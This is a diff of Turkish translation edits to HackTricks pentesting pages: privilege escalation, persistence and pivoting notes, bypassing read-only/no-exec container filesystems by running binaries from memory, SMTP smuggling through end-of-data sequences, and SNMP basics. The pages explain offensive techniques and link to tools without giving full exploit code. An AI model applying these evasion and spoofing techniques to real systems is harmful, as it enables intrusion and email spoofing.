@ -98,7 +98,7 @@ Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler e
|
|||
#### **10.1- Yerel Privesc**
|
||||
|
||||
Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\
|
||||
Burada **Linux'ta yerel ayrıcalıkları yükseltmek için bir kılavuz** [**bulabilirsiniz**](../linux-hardening/privilege-escalation/) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Burada **Linux'ta** [**yerel ayrıcalıkları yükseltme**](../linux-hardening/privilege-escalation/) ve **Windows'ta** [**yerel ayrıcalıkları yükseltme**](../windows-hardening/windows-local-privilege-escalation/) için bir kılavuz bulabilirsiniz.\
|
||||
Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz:
|
||||
|
||||
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
|
@ -110,7 +110,7 @@ Ayrıca **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmel
|
|||
|
||||
#### **10.2- Alan Privesc**
|
||||
|
||||
Burada [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir.
|
||||
Burada [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Kırmızı Takım** görevinde **son derece hassas** olabilir.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -124,14 +124,14 @@ Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktri
|
|||
**Sistemi tekrar istismar etmenize gerek kalmaması için 2 veya 3 farklı kalıcılık mekanizması kullanın.**\
|
||||
**Burada bazı** [**active directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/#persistence)** bulabilirsiniz.**
|
||||
|
||||
TODO: Windows & Linux'ta kalıcılık Postunu tamamla
|
||||
TODO: Windows & Linux'ta kalıcılık Post'unu tamamla
|
||||
|
||||
### 12 - Pivoting
|
||||
### 12 - Pivotlama
|
||||
|
||||
**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız olabilir.\
|
||||
Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](tunneling-and-port-forwarding.md).\
|
||||
Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
|
||||
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivot yapmak için çok faydalı olabilir.
|
||||
Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkında yazıyı da kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
|
||||
Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir.
|
||||
|
||||
### DAHA FAZLA
|
||||
|
||||
|
@ -151,22 +151,22 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# FS korumalarını aşma: yalnızca okunabilir / çalıştırılamaz / Distroless
|
||||
# FS korumalarını aşma: yalnızca okunur / çalıştırma yok / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
@ -28,9 +28,9 @@ Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha derinlemesine bula
|
|||
* [**DEF CON 31 - Linux Bellek Manipülasyonunu Gizlilik ve Kaçış için Keşfetmek**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng ile Gizli Sızmalar & Bellek İçi dlopen() - HackTricks Takvimi 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## yalnızca okunabilir / çalıştırılamaz senaryo
|
||||
## yalnızca okunur / çalıştırma yok senaryosu
|
||||
|
||||
Linux makinelerinin **yalnızca okunabilir (ro) dosya sistemi koruması** ile monte edilmesi giderek daha yaygın hale geliyor, özellikle konteynerlerde. Bunun nedeni, ro dosya sistemi ile bir konteyner çalıştırmanın **`readOnlyRootFilesystem: true`** ayarını `securitycontext` içinde ayarlamak kadar kolay olmasıdır:
|
||||
Linux makinelerinin **yalnızca okunur (ro) dosya sistemi koruması** ile monte edilmesi giderek daha yaygın hale geliyor, özellikle konteynerlerde. Bunun nedeni, ro dosya sistemi ile bir konteyner çalıştırmanın **`readOnlyRootFilesystem: true`** ayarını `securitycontext` içinde ayarlamak kadar kolay olmasıdır:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -45,7 +45,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu nedenle diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırılamaz koruma ile monte edilecektir**, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
|
||||
Ancak, dosya sistemi ro olarak monte edilse bile, **`/dev/shm`** hala yazılabilir olacak, bu nedenle diske hiçbir şey yazamayacağımız yalan. Ancak, bu klasör **çalıştırma yok koruması** ile monte edilecektir, bu nedenle burada bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kırmızı takım perspektifinden, bu, sistemde zaten olmayan ikili dosyaları **indirmek ve çalıştırmak** için **zorlaştırıyor** (örneğin arka kapılar veya `kubectl` gibi sayıcılar).
|
||||
|
@ -63,21 +63,21 @@ Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin v
|
|||
|
||||
### FD + exec syscall aşması
|
||||
|
||||
Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, ikili dosyayı belleğe indirmek, bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklamak, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **çalıştırılacak dosya olarak fd'yi belirtmek** mümkündür.
|
||||
Makine içinde bazı güçlü script motorlarına sahipseniz, örneğin **Python**, **Perl** veya **Ruby**, bellekte çalıştırmak için ikili dosyayı indirebilir, bunu bir bellek dosya tanımlayıcısında (`create_memfd` syscall) saklayabilir, bu korumalardan etkilenmeyecek ve ardından **`exec` syscall** çağrısı yaparak **çalıştırılacak dosya olarak fd'yi belirtebilirsiniz**.
|
||||
|
||||
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde **ikili dosya sıkıştırılmış ve b64 kodlanmış** bir script oluşturur, ardından **decode ve decompress** talimatları ile birlikte `create_memfd` syscall çağrısı yaparak oluşturulan bir **fd** içinde çalıştırmak için **exec** syscall çağrısı yapar.
|
||||
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirebilir ve belirtilen dilde, **ikili dosya sıkıştırılmış ve b64 kodlanmış** olarak, **decode ve decompress** talimatları ile birlikte bir **fd** oluşturacak şekilde bir script üretecektir.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü scriptten **ham syscall'leri çağırmanın** varsayılan bir yolu yoktur, bu nedenle ikili dosyayı saklamak için **bellek fd** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
|
||||
Bu, PHP veya Node gibi diğer script dillerinde çalışmaz çünkü bunların scriptten ham syscall'leri çağırmak için herhangi bir **varsayılan yolu** yoktur, bu nedenle ikili dosyayı saklamak için **bellek fd** oluşturmak için `create_memfd` çağrısı yapmak mümkün değildir.
|
||||
|
||||
Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yaramaz, çünkü **çalıştırılamaz koruma** uygulanacağı için bunu çalıştırmanıza izin verilmeyecektir.
|
||||
Ayrıca, `/dev/shm` içinde bir dosya ile **normal bir fd** oluşturmak işe yaramaz, çünkü **çalıştırma yok koruması** uygulanacağı için bunu çalıştırmanıza izin verilmeyecektir.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) tekniği, kendi sürecinizin belleğini **`/proc/self/mem`** üzerinden yazma ile **değiştirmenizi** sağlar.
|
||||
|
||||
Bu nedenle, sürecin yürüttüğü **assembly kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "mutasyona" uğratabilirsiniz**.
|
||||
Bu nedenle, sürecin yürüttüğü **assembly kodunu kontrol ederek**, bir **shellcode** yazabilir ve süreci **herhangi bir keyfi kodu çalıştıracak şekilde "mutasyona uğratabilirsiniz"**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec**, kendi **shellcode** veya **herhangi bir ikili dosyayı** **bellekten** yükleyip **çalıştırmanıza** olanak tanır.
|
||||
|
@ -130,9 +130,9 @@ Eğer **`read-only/no-exec`** korumaları yoksa, ters shell'inizi kullanarak **d
|
|||
Ancak, bu tür konteynerlerde bu korumalar genellikle mevcut olacaktır, ancak **önceki bellek yürütme tekniklerini kullanarak bunları aşabilirsiniz**.
|
||||
{% endhint %}
|
||||
|
||||
**Bazı RCE zafiyetlerini istismar ederek betik dillerinden **ters shell'ler** almak ve hafızadan ikili dosyaları çalıştırmak için **örnekler** bulabilirsiniz** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
**Bazı RCE zafiyetlerini istismar ederek betik dillerinden **ters shell'ler** almak ve hafızadan ikili dosyaları çalıştırmak için **örnekleri** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulabilirsiniz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
@ -148,7 +148,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,29 +17,29 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
|
||||
## Temel Bilgiler
|
||||
|
||||
Bu tür bir zafiyet [**bu yazıda ilk olarak keşfedilmiştir**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ve burada, bir e-postayı tamamlarken SMTP protokolünün nasıl yorumlandığındaki farklılıkların **istismar edilebileceği** açıklanmaktadır. Bu, bir saldırganın, etkilenen alanın diğer kullanıcılarını (örneğin admin@outlook.com) taklit ederek, meşru bir e-postanın gövdesinde daha fazla e-posta kaçırmasına olanak tanır ve SPF gibi savunmaları aşar.
|
||||
Bu tür bir zafiyet [**bu yazıda ilk olarak keşfedilmiştir**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ve burada, bir e-postayı tamamlarken SMTP protokolünün nasıl yorumlandığındaki farklılıkların **istismar edilebileceği** açıklanmaktadır. Bu, bir saldırganın, etkilenen alanın diğer kullanıcılarını (örneğin admin@outlook.com) taklit ederek, meşru bir e-postanın gövdesinde daha fazla e-posta gizlemesine olanak tanır ve SPF gibi savunmaları aşar.
|
||||
|
||||
### Neden
|
||||
|
||||
Bu, SMTP protokolünde, e-postada gönderilecek **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edilmesindendir; bu kullanıcı, alıcıda ekstra e-postalar kaçırmak için ayrıştırıcılardaki farklılıkları istismar eden özel olarak hazırlanmış veriler gönderebilir. İşte orijinal yazıdan bir örnek:
|
||||
Bu, SMTP protokolünde, e-postada gönderilecek **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edilmesindendir; bu kullanıcı, alıcıda ekstra e-postalar gizlemek için ayrıştırıcılardaki farklılıklardan yararlanarak özel olarak hazırlanmış veriler gönderebilir. İşte orijinal yazıdan bir örnek:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### Nasıl
|
||||
|
||||
Bu zafiyeti istismar etmek için bir saldırgan, **Çıkış SMPT sunucusunun sadece 1 e-posta olduğunu düşündüğü ancak Giriş SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermelidir**.
|
||||
Bu zafiyeti istismar etmek için bir saldırganın, **Outbound SMTP sunucusunun sadece 1 e-posta olduğunu düşündüğü ancak Inbound SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermesi gerekir**.
|
||||
|
||||
Araştırmacılar, farklı **Giriş sunucularının e-posta mesajının verisinin sonu olarak farklı karakterleri kabul ettiğini** keşfettiler; Çıkış sunucularının kabul etmediği karakterlerdir.\
|
||||
Örneğin, verinin normal sonu `\r\n.\r`'dir. Ancak, Giriş SMTP sunucusu `\n.`'yi de destekliyorsa, bir saldırgan sadece **bu veriyi e-postasına ekleyebilir ve yeni e-postaları kaçırmak için SMTP komutlarını göstermeye başlayabilir**; tıpkı önceki resimde olduğu gibi.
|
||||
Araştırmacılar, farklı **Inbound sunucuların e-posta mesajının verisinin sonunu farklı karakterler olarak değerlendirdiğini** keşfettiler; bu, Outbound sunucuların yapmadığı bir şeydir.\
|
||||
Örneğin, verinin normal sonu `\r\n.\r` şeklindedir. Ancak, Inbound SMTP sunucusu `\n.` desteği de sağlıyorsa, bir saldırgan **bu veriyi e-postasına ekleyebilir ve yeni e-postaları gizlemek için SMTP komutlarını göstermeye başlayabilir**; tıpkı önceki resimde olduğu gibi.
|
||||
|
||||
Elbette, bu yalnızca **Çıkış SMTP sunucusu bu veriyi** mesaj verisinin sonu olarak kabul etmediği takdirde çalışabilir; çünkü bu durumda 1 yerine 2 e-posta görecektir, bu nedenle sonunda bu, bu zafiyette istismar edilen senkronizasyon bozukluğudur.
|
||||
Elbette, bu yalnızca **Outbound SMTP sunucusu bu veriyi** mesaj verisinin sonu olarak değerlendirmediği takdirde çalışabilir; çünkü bu durumda 1 yerine 2 e-posta görecektir, bu nedenle sonunda bu, bu zafiyette istismar edilen senkronizasyon bozukluğudur.
|
||||
|
||||
Potansiyel senkronizasyon bozukluğu verileri:
|
||||
|
||||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
Ayrıca, SPF'nin aşıldığını unutmayın; çünkü `user@outlook.com`'dan `admin@outlook.com`'dan bir e-posta kaçırırsanız, **gönderen hala `outlook.com`'dur.**
|
||||
Ayrıca, SPF'nin aşıldığını unutmayın; çünkü `user@outlook.com` adresinden `admin@outlook.com` adresine bir e-posta gizlerseniz, **gönderen hala `outlook.com`'dur.**
|
||||
|
||||
## **Referanslar**
|
||||
|
||||
|
|
|
@ -15,15 +15,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**SNMP - Basit Ağ Yönetim Protokolü**, ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
|
||||
**SNMP - Basit Ağ Yönetim Protokolü** ağdaki farklı cihazları (yönlendiriciler, anahtarlar, yazıcılar, IoT'ler gibi) izlemek için kullanılan bir protokoldür.
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
|
@ -35,7 +35,7 @@ SNMP ayrıca **traps** için **162/UDP** portunu kullanır. Bunlar, **SNMP sunuc
|
|||
### MIB
|
||||
|
||||
SNMP erişiminin üreticiler arasında ve farklı istemci-sunucu kombinasyonlarıyla çalışmasını sağlamak için **Yönetim Bilgi Tabanı (MIB)** oluşturulmuştur. MIB, **cihaz bilgilerini depolamak için bağımsız bir formattır**. Bir MIB, bir cihazın tüm sorgulanabilir **SNMP nesnelerinin** listelendiği **standartlaştırılmış** bir ağaç hiyerarşisinde bulunan bir **metin** dosyasıdır. En az bir **`Nesne Tanımlayıcı` (`OID`)** içerir; bu, gerekli **benzersiz adres** ve bir **isim** ile birlikte, ilgili nesnenin türü, erişim hakları ve açıklaması hakkında bilgi sağlar.\
|
||||
MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığıdır.
|
||||
MIB dosyaları, `Abstract Syntax Notation One` (`ASN.1`) tabanlı ASCII metin formatında yazılmıştır. **MIB'ler veri içermez**, ancak **hangi bilginin nerede bulunacağını** ve neye benzediğini açıklar; bu, belirli OID için dönen değerler veya hangi veri türünün kullanıldığıdır.
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -43,12 +43,12 @@ MIB dosyaları, `Soyut Söz Dizimi Notasyonu Bir` (`ASN.1`) tabanlı ASCII metin
|
|||
|
||||
MIB nesne kimliklerinin en yüksek seviyeleri, çeşitli standart belirleyici kuruluşlara tahsis edilmiştir. Bu en üst seviyelerde, küresel yönetim uygulamaları ve standartları için çerçeve oluşturulmaktadır.
|
||||
|
||||
Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ilişkin yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
|
||||
Ayrıca, satıcılara özel dallar oluşturma özgürlüğü verilmektedir. Bu dallar içinde, kendi ürün serilerine ait yönetilen nesneleri ekleme **özerkliğine** sahiptirler. Bu sistem, farklı satıcılar ve standartlar arasında geniş bir nesne yelpazesini tanımlama ve yönetme için yapılandırılmış ve organize bir yöntem sağlar.
|
||||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Bir **OID ağacında** **navigasyon** yapmak için buradan web üzerinden gidebilirsiniz: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) veya **bir OID'nin ne anlama geldiğini görmek için** (örneğin `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) adresine erişebilirsiniz.\
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde yer alan bazı **iyi bilinen OID'ler** bulunmaktadır; bunlar MIB-2 tanımlı Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine atıfta bulunmaktadır. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) vardır.
|
||||
[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) içinde yer alan bazı **iyi bilinen OID'ler** bulunmaktadır; bunlar MIB-2 tanımlı Basit Ağ Yönetim Protokolü (SNMP) değişkenlerine atıfta bulunur. Ve bu OID'lerden elde edebileceğiniz bazı ilginç ana bilgisayar verileri (sistem verileri, ağ verileri, süreç verileri...) vardır.
|
||||
|
||||
### **OID Örneği**
|
||||
|
||||
|
@ -65,13 +65,13 @@ Bu adresin ayrıntılı açıklaması:
|
|||
* 4 – bu değer, bu cihazın özel bir organizasyon tarafından yapıldığını ve devlet tarafından yapılmadığını belirler.
|
||||
* 1 – bu değer, cihazın bir işletme veya ticari varlık tarafından yapıldığını belirtir.
|
||||
|
||||
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapılmadığı sürece tüm OID'ler için aynı olacaktır.
|
||||
Bu ilk altı değer, tüm cihazlar için genellikle aynıdır ve size temel bilgileri verir. Bu sayı dizisi, cihaz devlet tarafından yapıldığında hariç, tüm OID'ler için aynı olacaktır.
|
||||
|
||||
Sonraki sayı dizisine geçelim.
|
||||
|
||||
* 1452 – bu cihazı üreten organizasyonun adını verir.
|
||||
* 1 – cihazın türünü açıklar. Bu durumda, bir alarm saatidir.
|
||||
* 2 – bu cihazın uzaktan terminal birimi olduğunu belirler.
|
||||
* 2 – bu cihazın bir uzaktan terminal birimi olduğunu belirler.
|
||||
|
||||
Kalan değerler, cihaz hakkında belirli bilgiler verir.
|
||||
|
||||
|
@ -90,7 +90,7 @@ SNMP'nin 2 önemli sürümü vardır:
|
|||
* **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **trafiği düz metin** içinde gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
|
||||
* **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır).
|
||||
|
||||
### Topluluk Düzleri
|
||||
### Topluluk Düzeyleri
|
||||
|
||||
Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\
|
||||
**2 tür topluluk dizesi** vardır:
|
||||
|
@ -98,8 +98,8 @@ Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürü
|
|||
* **`public`** esasen **sadece okuma** işlevleri
|
||||
* **`private`** **Okuma/Yazma** genel olarak
|
||||
|
||||
**Bir OID'nin yazılabilirliği kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, **her zaman "Sadece Okuma"** olan nesneler de **mevcut olabilir**.\
|
||||
Bir nesneye **yazmaya** çalıştığınızda **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
|
||||
**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile, bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, **her zaman "Sadece Okuma"** olan nesneler de mevcut olabilir.\
|
||||
